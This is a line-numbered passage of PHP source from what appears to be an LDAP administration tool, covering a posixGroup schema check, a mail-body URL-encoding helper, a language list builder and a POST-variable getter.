2347     if($rfc2307bis && isset($tmp['posixGroup']['STRUCTURAL'])){
2348       $checks['posixGroup']['STATUS']           = FALSE;
2349       $checks['posixGroup']['MSG']              = _("You have enabled the rfc2307bis option on the 'ldap setup' step, but your schema    configuration do not support this option.");
2350       $checks['posixGroup']['INFO']             = _("In order to use rfc2307bis conform groups the objectClass 'posixGroup' must be      AUXILIARY");
2351     }
2352     if(!$rfc2307bis && !isset($tmp['posixGroup']['STRUCTURAL'])){
2353       $checks['posixGroup']['STATUS']           = FALSE;
2354       $checks['posixGroup']['MSG']              = _("You have disabled the rfc2307bis option on the 'ldap setup' step, but your schema   configuration do not support this option.");
2355       $checks['posixGroup']['INFO']             = _("The objectClass 'posixGroup' must be STRUCTURAL");
2356     }
2357   }
2359   return($checks);
2363 function prepare4mailbody($string)
2365   $string = html_entity_decode($string);
2367   $from = array(
2368                 "/%/",
2369                 "/ /",
2370                 "/\n/",
2371                 "/\r/",
2372                 "/!/",
2373                 "/#/",
2374                 "/\*/",
2375                 "/\//",
2376                 "/</",
2377                 "/>/",
2378                 "/\?/",
2379                 "/\"/");
2381   $to = array(
2382                 "%25",
2383                 "%20",
2384                 "%0A",
2385                 "%0D",
2386                 "%21",
2387                 "%23",
2388                 "%2A",
2389                 "%2F",
2390                 "%3C",
2391                 "%3E",
2392                 "%3F",
2393                 "%22");
2395   $string = preg_replace($from,$to,$string);
2397   return($string);
2403 function get_languages($languages_in_own_language = FALSE,$strip_region_tag = FALSE)
2405   $tmp = array(
2406         "de_DE" => "German",
2407         "fr_FR" => "French",
2408         "it_IT" => "Italian",
2409         "es_ES" => "Spanish",
2410         "en_US" => "English",
2411         "nl_NL" => "Dutch",
2412         "pl_PL" => "Polish",
2413         "sv_SE" => "Swedish",
2414         "zh_CN" => "Chinese",
2415         "ru_RU" => "Russian");
2417   $ret = array();
2418   if($languages_in_own_language){
2419     $old_lang = setlocale(LC_ALL, 0);
2420     foreach($tmp as $key => $name){
2421       $lang = $key.".UTF-8";
2422       setlocale(LC_ALL, $lang);
2423       if($strip_region_tag){
2424         $ret[preg_replace("/^([^_]*).*$/","\\1",$key)] = _($name)." (".$name.")";
2425       }else{
2426         $ret[$key] = _($name)." &nbsp;(".$name.")";
2427       }
2428     }
2429     setlocale(LC_ALL, $old_lang);
2430   }else{
2431     foreach($tmp as $key => $name){
2432       if($strip_region_tag){
2433         $ret[preg_replace("/^([^_]*).*/","\\1",$key)] = _($name);
2434       }else{
2435         $ret[$key] = _($name);
2436       }
2437     }
2438   }
2439   return($ret);
2443 /* Returns contents of the given POST variable and check magic quotes settings */
2444 function get_post($name)
2446   if(!isset($_POST[$name])){
2447     trigger_error("Requested POST value (".$name.") does not exists, you should add a check to prevent this message.");
2448     return(FALSE);
2449   }
2450   if(get_magic_quotes_gpc()){
2451     return(stripcslashes($_POST[$name]));
2452   }else{
2453     return($_POST[$name]);
2454   }
2458 // vim:tabstop=2:expandtab:shiftwidth=2:filetype=php:syntax:ruler:
2459 ?>